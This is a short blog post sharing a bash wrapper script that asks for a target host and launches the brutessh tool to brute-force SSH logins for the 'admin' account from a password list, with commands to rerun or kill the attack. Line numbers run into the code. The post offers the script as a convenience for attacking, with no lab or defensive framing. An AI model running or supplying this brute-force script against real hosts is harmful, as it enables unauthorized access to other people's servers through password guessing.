And I'v wrote a bash script to make it more easy to use as following:
1 #!/bin/bash23 read -p "Please enter your target host: " HOST4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."56 echo -n "[run/exit]? "7 while read LINE;8 do9 if [ $LINE = "run" ]; then10 clear11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &12 sleep 1013 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "14 continue15 elif [ $LINE = "exit" ]; then16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null17 break18 fi19 done
Please to adjust /root/bin/brutessh/ above to work with your environment.
Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).
No comments:
Post a Comment